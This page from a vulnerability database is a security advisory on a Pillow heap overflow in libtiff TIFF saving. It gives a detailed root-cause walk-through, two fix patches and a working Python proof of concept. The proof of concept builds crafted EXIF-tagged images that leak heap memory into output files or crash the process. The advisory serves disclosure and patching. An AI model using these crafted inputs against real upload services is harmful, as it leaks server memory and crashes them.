Vulnerability DatabaseGHSA-xcvg-w56q-r89m

GHSA-xcvg-w56q-r89m: 
Python vulnerability analysis and mitigation

============================================================================
ANT-2026-CS7N494P  [high]  CWE-787  memory-safety
Heap buffer overflow saving TIFF with libtiff when tags override image size
Location: src/libImaging/TiffDecode.c:1035  in ImagingLibTiffEncode()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

When Pillow saves an image as a compressed TIFF, size information taken from the image's metadata can make the encoder read past the end of a heap buffer. Someone who uploads an image can use this to get the server process's memory, including pointers, copied into the saved file, or to crash the process. When the metadata also enables TIFF "Predictor=2" compression, the encoder writes past the buffer instead, corrupting the heap and aborting the process. This affects applications that write TIFF through libtiff (any compression= other than raw) and either carry the source metadata across with exif=im.getexif() / tiffinfo=, or simply re-save a crafted palette TIFF with Image.open(f).save(out, "TIFF"), which inherits its compression and predictor from the upload. In TiffImagePlugin._save's libtiff branch, only BitsPerSample is pinned to the real image when the tag list for the encoder is built (src/PIL/TiffImagePlugin.py:1955). ImageWidth, ImageLength and PlanarConfiguration are set from im.size but are then overwritten by the exif=/tiffinfo= merge loop at :1768-1772. SamplesPerPixel is never set for single-band modes, so a value from the caller's tags or from the source TIFF's own IFD reaches TIFFSetField. ImagingLibTiffEncode then passes a row buffer sized from the actual image (src/encode.c:291) to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) with no check against TIFFScanlineSize(), and libtiff consumes a full scanline of the tag-described width from it. The attached reproducer demonstrates the read case. A 64x4 greyscale JPEG whose EXIF says SamplesPerPixel=3, Photometric=RGB is converted into a valid RGB TIFF in which 128 bytes of each row are live heap, including pointers that change from run to run. The same JPEG with EXIF ImageWidth=2**27 kills the process with SIGSEGV. For the write case, the values written are byte-wise differences of existing heap contents rather than attacker-chosen data, and nothing beyond the observed glibc abort is shown. The tiffinfo= route dates back to Pillow 2.3.0 (dbf47837ce99), and the exif= route to 8.4.0 (c0f619384cbc).

Details

When an image is saved as TIFF through the libtiff encoder (any compression= other than raw, or TiffImagePlugin.WRITE_LIBTIFF), libtiff sizes its scanline from the ImageWidth / SamplesPerPixel / BitsPerSample / PlanarConfiguration tags it was handed, Pillow sizes the encoder row buffer from the real image, and nothing compares the two. In TiffImagePlugin._save's libtiff branch only BitsPerSample is pinned in the attribute dict given to the encoder (atts, src/PIL/TiffImagePlugin.py:1955-1982); the other geometry tags can come from caller- or attacker-supplied data:

  • ImageWidth (256), ImageLength (257) and PlanarConfiguration (284) are set from im.size before the tiffinfo= / exif= merge loop at :1768-1772, so they are overwritten by it — by the EXIF of an uploaded JPEG, or by stale geometry in im.getexif() / im.tag_v2 of a TIFF that Pillow auto-transposed on load (Orientation tag) or that the application thumbnail()ed.
  • SamplesPerPixel (277) is only put in the IFD for multi-band modes (:1847-1850), so for single-band images (L, P, I;16, 1, …) a value from exif= / tiffinfo=, or from the source TIFF's own IFD via supplied_tags (im.tag_v2, :1782), is forwarded to libtiff. A palette TIFF with SamplesPerPixel=2, BitsPerSample=(8,8), ExtraSamples=(0,) opens as mode P (rawmode PX, extra sample dropped), and a bare im.save(out, "TIFF") — no save arguments; compression and Predictor are inherited from the source — already makes libtiff process 2*width bytes per row from a width-byte buffer.

ImagingLibTiffEncode then hands the image-sized row buffer to TIFFWriteScanline, and libtiff reads one scanline of the tag-described geometry out of a buffer holding one row of the actual image. With Predictor = 2 (also forwarded from tiffinfo= / im.tag_v2) libtiff's horizontal differencing first rewrites the whole scanline in place, so the over-read becomes an out-of-bounds heap write on every row. The tags do not have to be supplied deliberately by the application: im.getexif() of an uploaded JPEG returns whatever IFD0 tags the file carries, and the common metadata-preserving conversion

im = Image.open(uploaded_jpeg)                                   # 64x4, mode "L"
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")

behaves as follows on the stock build at this commit:

  • EXIF IFD0 {277: 3, 262: 2} (SamplesPerPixel=3, Photometric=RGB): the save succeeds and out is a 64x4 RGB TIFF. Re-opening it, the first 64 bytes of every 192-byte row are the image (0x11 fill); the remaining 128 bytes are heap that followed the 64-byte row buffer — e.g. ... 807a97e6527f0000 ... f03632e5527f0000 40832ee5527f0000 (x86-64 heap pointers), different on every run.
  • EXIF IFD0 {256: 1<<27} (ImageWidth=2^27): the process dies with SIGSEGV; gdb shows TIFFWriteScanline (libtiff.so.6) ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1035) ← _encode (src/encode.c:139).
  • valgrind on the first case: Invalid read of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode … Address is 0 bytes after a block of size 64 alloc'd at calloc by _setimage.
  • Control: the same JPEG with an EXIF holding only Software produces a 64x4 L TIFF whose 256 pixel bytes are all 0x11. The write variant needs nothing more than a well-formed 222-byte TIFF and the exif=im.getexif() idiom the project's own tests use (Tests/test_file_tiff.py::test_exif, test_modify_exif); the interpreter dies with glibc's free(): invalid next size (fast) (SIGABRT):
from PIL import Image; import io
b = io.BytesIO()
Image.new("RGB", (64, 4)).save(b, "TIFF", compression="tiff_lzw", tiffinfo={274: 6, 317: 2})  # Orientation=6, Predictor=2
im = Image.open(io.BytesIO(b.getvalue())); im.load()   # auto-transposed to 4x64; tag_v2/getexif() still say 64x4
im.save(io.BytesIO(), "TIFF", exif=im.getexif())       # or tiffinfo=im.tag_v2

Here libtiff processes 192-byte rows (64 px × 3 samples) from the 12-byte buffer _setimage allocated for a 4-pixel RGB row, and PredictorEncodeRow rewrites the 180 heap bytes that follow it on each of 64 rows; valgrind on a -g build reports Invalid write of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode (TiffDecode.c:1035) … Address is 0 bytes after a block of size 12 alloc'd … by _setimage (encode.c:293). im.thumbnail((8, 8)) before the save instead of the Orientation tag reaches the same state, as does the purely programmatic Image.new("RGB", (128, 32)).save(fp, "TIFF", compression="tiff_lzw", tiffinfo={256: 1024, 257: 128, 317: 2}) (SIGSEGV). For the source-IFD SamplesPerPixel route, a crafted <2 KB palette PX TIFF with Compression = LZW, Predictor = 2 kills the stock build on a bare Image.open(f).save(out, "TIFF"); with a predictor-less codec the same re-save returns normally with width bytes of heap per row encoded into the output.

Walk-through

_save seeds the output IFD from the image and then copies the caller's tags over it:


# src/PIL/TiffImagePlugin.py
1746    libtiff = WRITE_LIBTIFF or compression != "raw"
1749    ifd[PLANAR_CONFIGURATION] = 1
1751    ifd[IMAGEWIDTH] = im.size[0]
1752    ifd[IMAGELENGTH] = im.size[1]
        …
1757    elif "exif" in encoderinfo:
1758        info = encoderinfo["exif"]          # Image.Exif, or bytes → Exif
        …
1768    for key in info:
            …
1772            ifd[key] = info.get(key)            # 256/257/277/262/284/317 … overwrite the above

The geometry is only partially re-asserted afterwards: BITSPERSAMPLE is always set, but SAMPLESPERPIXEL only for multi-band modes and IMAGEWIDTH/IMAGELENGTH never:

1847    if bits != (1,):
1848        ifd[BITSPERSAMPLE] = bits
1849        if len(bits) != 1:
1850            ifd[SAMPLESPERPIXEL] = len(bits)    # not reached for L, P, I, F, I;16 …
1856    if PHOTOMETRIC_INTERPRETATION not in ifd:   # supplied value kept

In the libtiff branch every IFD entry that is not block-listed — and, after the IFD, every entry of supplied_tags (the source file's im.tag_v2) not already present — becomes a TIFFSetField argument. The only tag pinned to the image's real value is BITSPERSAMPLE:

1955        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
1959        for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):
            …
1976            if tag not in atts and tag not in blocklist:
                    …   atts[tag] = value
2002        encoder = Image._getencoder(im.mode, "libtiff", a, encoderconfig)
2003        encoder.setimage(im.im, (0, 0, *im.size))

For the SamplesPerPixel=3 example the tag list passed to the encoder is [(256, 64), (257, 4), (258, 8), (259, 5), (262, 2), (277, 3), (278, 4), (284, 1)]; for the ImageWidth example it is [(256, 134217728), (257, 4), (258, 8), …]. 256 and 277 are in core_tags (src/encode.c:694), so PyImaging_LibTiffEncoderNew forwards them straight to TIFFSetField. For a single-band image SAMPLESPERPIXEL is absent from ifd, so the loop takes tag 277 from supplied_tags — the source TIFF's IFD — when one is present; the PLANAR_CONFIGURATION == 2 adjustment at :1783-1788 already compensates for this for separate-planes sources, the contiguous PX layout is the remaining case. encoder.setimage sizes the packer's row buffer from the real image — 64 bytes for a 64-pixel L row:

/* src/encode.c, _setimage */
287    if (state->bits > 0) {
291        state->bytes = (state->bits * state->xsize + 7) / 8;
293        state->buffer = (UINT8 *)calloc(1, state->bytes);

and ImagingLibTiffEncode packs one image row into it and gives the pointer to libtiff with no length:

/* src/libImaging/TiffDecode.c */
1027        while (state->y < state->ysize) {
1028            state->shuffle(state->buffer, (UINT8 *)im->image[state->y + state->yoff] + …, state->xsize);
1035            if (TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32_t)state->y, 0) == -1) {

TIFFWriteScanline consumes TIFFScanlineSize() bytes, i.e. ImageWidth * SamplesPerPixel * BitsPerSample / 8 as set through the tags. Nothing between _save and line 1035 compares that with state->bytes. With SamplesPerPixel=3 libtiff reads 192 bytes from the 64-byte block and LZW-encodes the trailing 128 heap bytes into the strip; with ImageWidth=2^27 it reads 128 MiB starting at the 64-byte block and faults. With Predictor = 2, libtiff's PredictorEncodeRow first runs horizontal differencing in place over the whole scanline (bp[i] -= bp[i-stride]), i.e. it rewrites the heap bytes that follow the block before encoding them; libtiff grows ImageLength as rows beyond the declared count are written, so every row of the real image goes through. A PlanarConfiguration = 2 carried over from a planar source reaches libtiff by the same route; there libtiff's scanline (one sample plane) is shorter than Pillow's row, so the result is an undecodable file rather than an out-of-bounds access. The non-libtiff path (compression absent/raw) is not affected: it goes through ImagingRawEncode, which treats the IFD-derived stride as padding and either zero-fills or fails with IMAGING_CODEC_CONFIG (src/libImaging/RawEncode.c:34-37,57-59). Overriding IMAGEWIDTH/IMAGELENGTH through tiffinfo on that path is an intended feature (Tests/test_file_tiff.py::test_tiff_chunks). The exif= route was introduced in c0f619384cbc ("Added "exif" keyword argument to save Image.Exif instance", 2021-07-04), first released in 8.4.0. The same override through tiffinfo= is older: it dates back to dbf47837ce99 ("Add arbitrary tags to tiff images using an ImageFileDirectory", 2013-10-02, first in 2.3.0). The stale-geometry-from-the-file-itself form dates from 1b70a4c6b515 ("Use TIFF orientation", 2019-09-13, first in 6.2.0), which added the transpose on load.

Impact

Affected are applications that write TIFF output from user-supplied images through libtiff. Through the source-IFD SamplesPerPixel route nothing more is needed than Image.open(f).save(out, "TIFF") (format normalisation) on a crafted palette TIFF: Compression, SamplesPerPixel and Predictor are all inherited from the upload, so the uploader chooses between heap corruption / worker abort (Predictor = 2) and a normally-returning save whose output carries width bytes of the worker's heap per row. The exif= / tiffinfo= routes cover applications that convert to compressed TIFF while carrying the metadata across — im.save(..., "TIFF", compression="tiff_lzw"|"tiff_adobe_deflate"|"packbits"|"jpeg"|…, exif=im.getexif()), exif=im.info["exif"], or tiffinfo= built from the source file's tags. Neither option is a default, but both are ordinary settings for archival/print/scan pipelines and the idiom used in Pillow's own tests. The uploader then chooses the outcome through a few EXIF shorts: a small SamplesPerPixel (with a matching Photometric so the result is a valid RGB/CMYK TIFF) returns (spp-1) × width bytes of process heap per image row inside the produced file — for a 4000-pixel-wide upload that is 8 KB of heap per row, megabytes per file, readable with any TIFF decoder and containing allocator metadata, pointers (ASLR defeat) and whatever other requests left in freed memory; a large ImageWidth kills the worker with SIGSEGV; ImageWidth/ImageLength larger than the (transposed or thumbnailed) image together with Predictor = 2 writes (declared_width − real_width) × bytes_per_pixel bytes past a small fresh calloc block on every row — the values written are byte-wise differences of the existing heap contents, so the attacker controls extent and repetition but not directly the data; the observed result is heap corruption and abort of the whole worker, exploitation beyond that is not demonstrated. Because ImageWidth/ImageLength are routinely present in IFD0 of camera and scanner output, a benign photo that is resized before such a save also over-reads (its EXIF still describes the original width), so the crash variant can occur without an attacker.

Reproducing

repro is a single Python script that uses the installed Pillow and only its public API; no rebuild is needed. It runs in well under a second. It builds the attacker's input in memory: a 64x4 JPEG in mode L with every pixel set to 0x11, plus a chosen set of EXIF IFD0 tags. It then runs the metadata-preserving conversion an application would do:

im = Image.open(io.BytesIO(jpeg))
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")

Finally it re-opens the TIFF that comes out. There are three cases:

  • control: the EXIF holds only Software. The output is a 64x4 L TIFF whose 256 bytes are all 0x11. The verdict can only be BUG if this holds.
  • leak: the EXIF holds SamplesPerPixel=3, PhotometricInterpretation=RGB. libtiff now treats each scanline as 192 bytes, but the row buffer only holds 64 bytes. The save still succeeds and the output is a 64x4 RGB TIFF. In each 192-byte row, the first 64 bytes are the image (0x11). The other 128 bytes are whatever sat in the heap after the 64-byte row buffer.
    • The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as …e06c297e677f0000, which change from run to run because of ASLR.
    • It also counts the extra bytes that are neither 0x11 nor 0x00, since those could not have come from the image or from zero padding. On the stock build this is a few hundred of the 512 bytes (200–310 in our runs).
  • crash: the EXIF holds ImageWidth=2**27. The script re-runs itself as a child process (repro crash) with core dumps disabled. libtiff tries to read 128 MiB out of the 64-byte buffer, and the child dies with SIGSEGV (exit code -11). Expected output on the stock build (the heap bytes and the count vary):
control: L (64, 4), all bytes 0x11: True
leak:    RGB (64, 4)
         first 64 bytes of each row are the image (0x11): True
         row 0, bytes 64..192 (past the row buffer):
           0000000000000000310000000000000090e5b50669550000e06c297e677f0000
           0000000001007900007b8804d80c0d8830000000000000001007000000000000
           0100000000000000801a897e677f0000240300000000000030444a7d677f0000
           4095487d677f0000885f897e677f000003000001010000000000000000000000
         220 of 512 bytes past the row buffers are neither 0x11 nor 0x00
crash:   child exit code -11 (SIGSEGV)
BUG

The last line is BUG if the control is clean and the leak case produced foreign bytes, the crash case died with SIGSEGV/SIGBUS, or both. Otherwise it is OK. With either attached patch applied and rebuilt, the script prints:

control: L (64, 4), all bytes 0x11: True
leak:    output is not a readable image (no over-read)
crash:   child exit code 0 (no signal)
OK

In the leak case, the fixed build writes the image's real single sample per pixel but keeps the supplied Photometric=RGB. Pillow will not open a TIFF like that. The out-of-bounds write variant is the three-line Orientation=6, Predictor=2 snippet in Details (SIGABRT, free(): invalid next size (fast) on the stock build); for a file:line stack run it under valgrind on a -g build of the extensions.

Suggested fix

Two alternative patches are attached. Patch 2 is the Python-only subset of patch 1; patch 1 also hardens the C encoder. Attached patch 1 (src/PIL/TiffImagePlugin.py, src/libImaging/TiffDecode.c) does two independent things:

  1. src/PIL/TiffImagePlugin.py:1955 — the libtiff branch already pre-seeds atts with BITSPERSAMPLE so that no supplied tag can replace it. The patch extends that to the other tags that determine libtiff's scanline size, taken from the image being saved:
-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+        atts: dict[int, Any] = {
+            BITSPERSAMPLE: bits[0],
+            SAMPLESPERPIXEL: len(bits),
+            IMAGEWIDTH: im.size[0],
+            IMAGELENGTH: im.size[1],
+            PLANAR_CONFIGURATION: 1,
+        }

Doing it here rather than in the IFD built at 1749–1772 leaves the raw-writer behaviour exercised by test_tiff_chunks untouched, and because the merge loop visits ifd and supplied_tags only for tags not already in atts, it closes the exif=, tiffinfo= and source-IFD (im.tag_v2) routes alike. A supplied PHOTOMETRIC_INTERPRETATION still reaches the file (so EXIF {277:3, 262:2} now yields a 1-sample "RGB" TIFF that Pillow refuses to open); whether to force it to the mode's value is a format decision that no longer affects memory safety. For the re-saved PX palette case it may also be worth dropping the source's EXTRASAMPLES from supplied_tags (meaningless once the extra channel was discarded on load), as is already done for the planar case at :1783-1788, so the output is a self-consistent 1-sample palette file. 2. src/libImaging/TiffDecode.c, ImagingLibTiffEncode — before the scanline loop, it refuses any configuration in which libtiff would read more than the packer produced, so the encoder stays safe regardless of where tags come from:

        if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {
            state->errcode = IMAGING_CODEC_CONFIG;
            ImagingLibTiffEncodeCleanup(state);
            clientstate->tiff = NULL;
            if (!clientstate->fp) {
                free(clientstate->data);
            }
            return -1;
        }

The same cleanup is applied to the existing TIFFWriteScanline error path. For in-memory output, that path currently frees clientstate->data but leaves clientstate->tiff set, so the later ImagingLibTiffEncodeCleanup → TIFFClose → TIFFFlush writes into the freed buffer. Both error paths now close the TIFF before the data is freed. The TIFFFlush failure branch further down (src/libImaging/TiffDecode.c:1056) has the same pattern and is left as it is. Attached patch 2 (src/PIL/TiffImagePlugin.py only) is step 1 above without the C changes, for maintainers who prefer not to touch the encoder. It closes every public-API route (exif=, tiffinfo=, a resized or transposed image's carried-over EXIF/tag_v2) by which these tags reach TIFFSetField. ImagingLibTiffEncode still trusts its tag list, though, and the error-path use-after-free described above stays as it is. Both patches add Tests/test_file_libtiff.py::test_geometry_tags, parametrised over oversized IMAGEWIDTH/IMAGELENGTH, SAMPLESPERPIXEL=3 and PLANAR_CONFIGURATION=2. With either patch applied to a clean checkout and rebuilt, repro prints OK, the Predictor = 2 snippet in Details saves a 4×64 image normally, and the existing TIFF test suites still pass.

The patch (1 of 2)

Take libtiff scanline geometry tags from the image, not tiffinfo/exif, and make ImagingLibTiffEncode reject a scanline larger than its row buffer Applies to src/PIL/TiffImagePlugin.py at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..36fe5f6b9 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):
         with pytest.raises(ValueError, match="Incorrect tag value type"):
             im.save(out, tiffinfo=ifd)
 
+    @pytest.mark.parametrize(
+        "tiffinfo",
+        (
+            {TiffImagePlugin.IMAGEWIDTH: 1 << 27},
+            {TiffImagePlugin.IMAGELENGTH: 1 << 27},
+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},
+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},
+        ),
+    )
+    def test_geometry_tags(
+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+    ) -> None:
+        # The geometry of the image is used, not the geometry from tiffinfo.
+        # Otherwise libtiff would read past the end of the row buffer.
+        monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+        out = tmp_path / "temp.tif"
+        im = hopper("L")
+        im.save(out, tiffinfo=tiffinfo)
+
+        assert_image_equal_tofile(im, out)
+
     def test_inknames_tag(
         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
     ) -> None:
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..aa0895966 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
         ]
 
         # bits per sample is a single short in the tiff directory, not a list.
-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+        # The tags that determine the size of a scanline are taken from the image,
+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they
+        # describe from a buffer that holds one row of the image.
+        atts: dict[int, Any] = {
+            BITSPERSAMPLE: bits[0],
+            SAMPLESPERPIXEL: len(bits),
+            IMAGEWIDTH: im.size[0],
+            IMAGELENGTH: im.size[1],
+            PLANAR_CONFIGURATION: 1,
+        }
         # Merge the ones that we have with (optional) more bits from
         # the original file, e.g x,y resolution so that we can
         # save(load('')) == original file.
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..6570666fc 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -1023,6 +1023,23 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt
     dump_state(clientstate);
 
     if (state->state == 0) {
+        // state->buffer holds one row of the image, but TIFFWriteScanline reads
+        // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL
+        // and BITSPERSAMPLE tags, so these must not describe a larger row.
+        if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {
+            TRACE(("Scanline size exceeds the row buffer\n"));
+            state->errcode = IMAGING_CODEC_CONFIG;
+
+            // Closing the tiff flushes it into clientstate->data, so do that
+            // before the data is freed, rather than in the encoder cleanup.
+            ImagingLibTiffEncodeCleanup(state);
+            clientstate->tiff = NULL;
+            if (!clientstate->fp) {
+                free(clientstate->data);
+            }
+            return -1;
+        }
+
         TRACE(("Encoding line by line"));
         while (state->y < state->ysize) {
             state->shuffle(
@@ -1038,10 +1055,9 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt
                 TRACE(("Encode Error, row %d\n", state->y));
                 state->errcode = IMAGING_CODEC_BROKEN;
 
-                if (clientstate->fp) {
-                    TIFFCleanup(tiff);
-                    clientstate->tiff = NULL;
-                } else {
+                ImagingLibTiffEncodeCleanup(state);
+                clientstate->tiff = NULL;
+                if (!clientstate->fp) {
                     free(clientstate->data);
                 }
                 return -1;

The patch (2 of 2)

Take libtiff scanline geometry tags (width, length, samples per pixel, planar config) from the image being saved instead of tiffinfo/exif Applies to src/PIL/TiffImagePlugin.py at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..36fe5f6b9 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):
         with pytest.raises(ValueError, match="Incorrect tag value type"):
             im.save(out, tiffinfo=ifd)
 
+    @pytest.mark.parametrize(
+        "tiffinfo",
+        (
+            {TiffImagePlugin.IMAGEWIDTH: 1 << 27},
+            {TiffImagePlugin.IMAGELENGTH: 1 << 27},
+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},
+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},
+        ),
+    )
+    def test_geometry_tags(
+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+    ) -> None:
+        # The geometry of the image is used, not the geometry from tiffinfo.
+        # Otherwise libtiff would read past the end of the row buffer.
+        monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+        out = tmp_path / "temp.tif"
+        im = hopper("L")
+        im.save(out, tiffinfo=tiffinfo)
+
+        assert_image_equal_tofile(im, out)
+
     def test_inknames_tag(
         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
     ) -> None:
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..aa0895966 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
         ]
 
         # bits per sample is a single short in the tiff directory, not a list.
-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+        # The tags that determine the size of a scanline are taken from the image,
+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they
+        # describe from a buffer that holds one row of the image.
+        atts: dict[int, Any] = {
+            BITSPERSAMPLE: bits[0],
+            SAMPLESPERPIXEL: len(bits),
+            IMAGEWIDTH: im.size[0],
+            IMAGELENGTH: im.size[1],
+            PLANAR_CONFIGURATION: 1,
+        }
         # Merge the ones that we have with (optional) more bits from
         # the original file, e.g x,y resolution so that we can
         # save(load('')) == original file.

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 4,352 bytes (click to open)</summary> Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
"""
Heap over-read in Pillow's libtiff encoder, driven by EXIF tags of an uploaded file.
An application converts an uploaded JPEG to compressed TIFF and keeps its metadata:
    im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
TiffImagePlugin._save forwards the EXIF's ImageWidth (256) / SamplesPerPixel (277) to
libtiff, so libtiff's scanline size follows the EXIF, while the row buffer that
ImagingLibTiffEncode hands to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) is
sized from the real image (src/encode.c:291). libtiff reads past the end of it.
  control  EXIF {Software}                       -> 64x4 "L" TIFF, every byte 0x11
  leak     EXIF {SamplesPerPixel=3, Photometric=RGB}
                                                 -> 64x4 "RGB" TIFF: 64 image bytes + 128
                                                    bytes of process heap in every row
  crash    EXIF {ImageWidth=2**27}               -> libtiff reads 128 MiB from a 64-byte
                                                    buffer: SIGSEGV
"""
import io
import resource
import signal
import subprocess
import sys
from PIL import Image, UnidentifiedImageError
W, H, GREY = 64, 4, 0x11
def uploaded_jpeg(exif_tags):
    """The attacker's file: a 64x4 solid-grey JPEG whose EXIF IFD0 holds exif_tags."""
    exif = Image.Exif()
    exif.update(exif_tags)
    buf = io.BytesIO()
    Image.new("L", (W, H), GREY).save(buf, "JPEG", quality=100, exif=exif.tobytes())
    return buf.getvalue()
def convert_to_tiff(jpeg):
    """The application: metadata-preserving conversion to LZW TIFF.
    Returns the resulting TIFF re-opened, or None if Pillow cannot read it back."""
    im = Image.open(io.BytesIO(jpeg))
    out = io.BytesIO()
    im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
    try:
        return Image.open(out)
    except UnidentifiedImageError:
        return None
if sys.argv[1:] == ["crash"]:
    # Child process for the crash case (see the end of the script).
    convert_to_tiff(uploaded_jpeg({256: 1 << 27}))  # ImageWidth = 2**27
    sys.exit(0)

# --- Control: EXIF without geometry tags converts cleanly ----------------------------
tiff = convert_to_tiff(uploaded_jpeg({305: "control"}))  # Software
control_clean = (tiff.mode, tiff.size) == ("L", (W, H)) and set(tiff.tobytes()) == {GREY}
print(f"control: {tiff.mode} {tiff.size}, all bytes 0x{GREY:02x}: {control_clean}")

# --- Leak: EXIF says 3 samples per pixel, so libtiff reads 3*64 bytes per row --------

# from the 64-byte row buffer. Everything past byte 64 of each row is not image data.
tiff = convert_to_tiff(uploaded_jpeg({277: 3, 262: 2}))  # SamplesPerPixel, Photometric=RGB
leaked = False
if tiff is None:
    # A fixed build writes the image's real 1 sample per pixel, and Pillow will not
    # open a 1-sample "RGB" TIFF: nothing was read past the row buffer.
    print("leak:    output is not a readable image (no over-read)")
else:
    pixels = tiff.tobytes()
    row = W * 3
    image_part = b"".join(pixels[y * row : y * row + W] for y in range(H))
    beyond = b"".join(pixels[y * row + W : (y + 1) * row] for y in range(H))
    # Bytes that are neither the image's grey nor zero padding can only be heap contents.
    foreign = sum(b not in (GREY, 0) for b in beyond)
    print(f"leak:    {tiff.mode} {tiff.size}")
    print(f"         first {W} bytes of each row are the image (0x{GREY:02x}): "
          f"{set(image_part) == {GREY}}")
    print(f"         row 0, bytes {W}..{row} (past the row buffer):")
    for i in range(W, row, 32):
        print("           " + pixels[i : i + 32].hex())
    print(f"         {foreign} of {len(beyond)} bytes past the row buffers are neither "
          f"0x{GREY:02x} nor 0x00")
    leaked = foreign > 0

# --- Crash: EXIF says the image is 2**27 pixels wide ---------------------------------
child = subprocess.run(
    [sys.executable, __file__, "crash"],
    preexec_fn=lambda: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)),  # no core file
    capture_output=True,
)
crashed = child.returncode in (-signal.SIGSEGV, -signal.SIGBUS)
outcome = signal.Signals(-child.returncode).name if child.returncode < 0 else "no signal"
print(f"crash:   child exit code {child.returncode} ({outcome})")
print("BUG" if control_clean and (leaked or crashed) else "OK")

</details>


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r2pq-mqwg-m575CRITICAL9.1
  • Python logoPython
  • cuga
NoYesNov 01, 2026
GHSA-4cj6-vfwp-8pq7HIGH7.5
  • Python logoPython
  • cuga
NoYesNov 01, 2026
GHSA-f3fg-34g9-v7jxHIGH7.3
  • Python logoPython
  • authlib
NoYesNov 01, 2026
GHSA-xcvg-w56q-r89mHIGHN/A
  • Python logoPython
  • pillow
NoYesNov 01, 2026
GHSA-gwjm-x277-ww8pMEDIUMN/A
  • JavaScript logoJavaScript
  • agent-did-sdk
NoYesNov 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management